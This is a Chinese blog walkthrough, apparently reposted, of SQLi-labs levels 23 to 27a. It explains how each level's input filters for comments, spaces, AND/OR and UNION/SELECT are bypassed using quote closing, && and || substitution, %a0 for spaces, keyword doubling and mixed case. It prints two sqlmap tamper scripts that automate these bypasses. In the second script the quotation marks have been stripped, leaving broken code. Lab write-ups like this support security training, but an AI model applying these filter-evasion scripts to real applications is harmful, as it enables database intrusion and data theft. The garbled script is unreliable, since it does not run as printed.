sqlilab less23-less27a[通俗易懂]

sqlilab less23-less27a[通俗易懂]less23 本关过滤掉了注释符号– 和#,并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and ‘1’=’1,将其加在注入语句的末尾,使用suffix参数 less-24 les…

	sqlilab less23-less27a[数据库教程]

less23

本关过滤掉了注释符号– 和#,并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and ‘1‘=‘1,将其加在注入语句的末尾,使用suffix参数

技术图片

 

 技术图片

 

 


 

 less-24

 


less-25

参数经过blacklist处理

技术图片

 

 blacklist内容:使用/i模式,表示不区分大小写,无法用大小写绕过。但是AND等价于&&,or等价于||

技术图片

 

 对sqlmap的一个payload进行修改

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file ‘LICENSE‘ for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    
    if payload:
        payload1=payload.replace(‘ AND ‘,"&&")
        payload2=payload1.replace(‘ OR ‘,"||")
        payload=payload2

    return payload

代码100分

  成功注入

技术图片

 


 

less-26

同上题,进行黑名单过滤,过滤内容加入了其他,过滤了注释符+ — /*,空格和斜线

技术图片

 

 需要用and ‘1‘=‘1来闭合后边单引号,用%a0来替代空格,

修改tamper脚本

技术图片

 

 

技术图片

 

 

攻击日志:

技术图片

 

 


 

less-26a

不同于上一关,这里是用小括号进行了包裹

技术图片

 

 tamper

代码100分 1 #!/usr/bin/env python
 2 
 3 from lib.core.enums import PRIORITY
 4 from lib.core.compat import xrange
 5 import re
 6 
 7 __priority__ = PRIORITY.LOWEST
 8 
 9 def dependencies():
10     pass
11 
12 def tamper(payload, **kwargs):
13   
14     if payload:
15         payload1=re.sub(r AND ,%a0%26%26%a0,payload)
16         payload2=re.sub(rOR,OORR,payload1)
17         payload=payload2
18     retVal = payload
19 
20     if payload:
21         retVal = ""
22         quote, doublequote, firstspace = False, False, False
23 
24         for i in xrange(len(payload)):
25             if not firstspace:
26                 if payload[i].isspace():
27                     firstspace = True
28                     retVal += "%a0"
29                     continue
30 
31             elif payload[i] == :
32                 quote = not quote
33 
34             elif payload[i] == ":
35                 doublequote = not doublequote
36 
37             elif payload[i] == " " and not doublequote and not quote:
38                 retVal += "%a0"
39                 continue
40 
41             retVal += payload[i]
42 
43     return retVal

使用sqlmap进行前后的包裹

技术图片

 

 

技术图片

 

 


 less-27

 过滤了union和select,但是,不是i模式,对大小写不敏感,可以用大小写绕过技术图片

 

 使用随机大小写和空格匹配tamper

技术图片

 

 

技术图片

 

 


less-27a

不同于上一个的是参数没有包裹,同时不返回报错

技术图片

 

 利用上一题的tamper,对前后的包裹进行修改

技术图片

 

 

技术图片

 

 攻击日志

技术图片

 

sqlilab less23-less27a

原文地址:https://www.cnblogs.com/hongren/p/13418741.html

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
转载请注明出处: https://daima100.com/6866.html

(0)
上一篇 2023-03-31 19:30
下一篇 2023-03-31 20:30

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注